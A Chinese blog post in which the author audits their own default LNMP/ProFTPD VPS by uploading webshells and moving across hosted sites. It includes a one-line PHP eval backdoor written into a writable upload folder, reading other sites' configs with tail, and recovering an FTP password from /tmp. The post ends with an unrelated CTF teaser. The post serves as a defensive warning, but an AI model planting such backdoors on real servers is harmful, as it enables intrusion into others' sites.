最近想给学弟学妹赞助点主机,正好我的VPS资源尚有不少。在提供之前,先检查一下自己的vps安全性,检查以后吓自己一跳。
先说明一下我的VPS状况:
debian Linux 2.6.32-5-686-bigmem #1 SMP Sun Sep 23 10:27:25 UTC 2012 i686 GNU/Linux
安装的是http://lnmp.org/的LNMP一键安装包,并又安装了其中的ProFTP。然后没有再装其他东西了。
网站根目录在/home/wwwroot/,现有的目录结构是这样:
配置过程基本默认:先用/root/vhost.sh创建1.xxx.com、2.xxx.com,3.xxx.com,再用/root/proftpd_vhost.sh新建两个ftp用户wordpress和afcin,分别赋予其根目录为2.xxx.com、3.xxx.com,而1.xxx.com还是归www用户所有。最后来到/home/wwwroot下把两个目录所有者修改为wordpress和afcin,就有了上图。
/root/vhost.sh和/root/proftpd_vhost.sh脚本是默认装好lnmp与proftpd后就有的,这个装过的朋友应该清楚。
然后再以各自用户权限上传web应用,1.xxx.com是emlog,2.xxx.com是wordpress,3.xxx.com是typecho。最后,2.xxx.com传一个大马(2011.php)和一个一句话(1.php)。
我现在就以wordpress权限的大马和一句话来跨站。
首先菜刀连接一句话:
首先我发现,用ftp上传上去的2011.php和01.php是644权限,(其他的都是755权限是因为其他的文档都是我用root权限传上去并将所有人改为wordpress的)然后菜刀不能执行命令:
而且目录不可写。也无法读上层目录,mysql不是root权限。
菜刀感觉这个时候无力了,于是打开我们的大马2011.php。
大马也是目录不可写(废话),但可以执行命令:
于是这样好办了,先看看能不能list他人的目录:
直接列出了1.xxx.com的目录文件。试着读一读它的配置文件:
没有回显。我试了cat、less、more、head都没有回显,但神奇的tail命令给了我惊喜:
居然读出来了!这让我很纳闷,tail跟head应该是好基友,为何head不行tail就可以。理解不了就不理解了。
读出数据库账号密码就能在菜刀里直接连接数据库了,不过密码解不出来。但是读出的auth key能伪造cookie访问后台,emlog后台秒拿shell(如果目录有写权限的话)。于是,成功的把目录给跨了。
然后继续。我们来到/tmp:
发现其中有一个.passwd有可读权限,我们试试tail:
居然是用户afcin的ftp账号密码……这样,3.xxx.com不用跨目录就沦陷了……
再继续。如果我们通过数据库、后台手段拿不下1.xxx.com的webshell,怎么办?于是再拿出shell,找找有没有目录可写的。一般像图片、附件上传目录都能写的,比如:
发现一个可写的目录,于是我们向其中写入一句话:
echo ‘<?php eval($_POST[phithon]); ?>’ > /home/wwwroot/1.xxx.com/content/uploadfile/201310/00.php
用菜刀连接看看:
OK无压力。
基本上能跨的都被我跨了,提权就不试了,太晚了。
经过这一轮的测试,我才发现,默认的lnmp和ftp安全性是多么脆弱。如果我把这样的ftp账户发送给学弟,我自己网站被他们爆菊了都不知道。。。
希望大家看过文章后能警觉,php安全模式还是要开启的。默认配置害死人,请大家留意。
如果不出错的话,每篇通关攻略应该是5条题目~ 下面继续开始表演~ 6.这关需要RMB购买哦 首先是个登录框。。。难道是注入? 到这里我已经觉得不太可能。。应该是一条逻辑漏洞支付的题目。。因此直接去看了源码。。过滤的死死的~ 所以直接去数据库看了下账号密码。。(…
请登录后发表评论
注册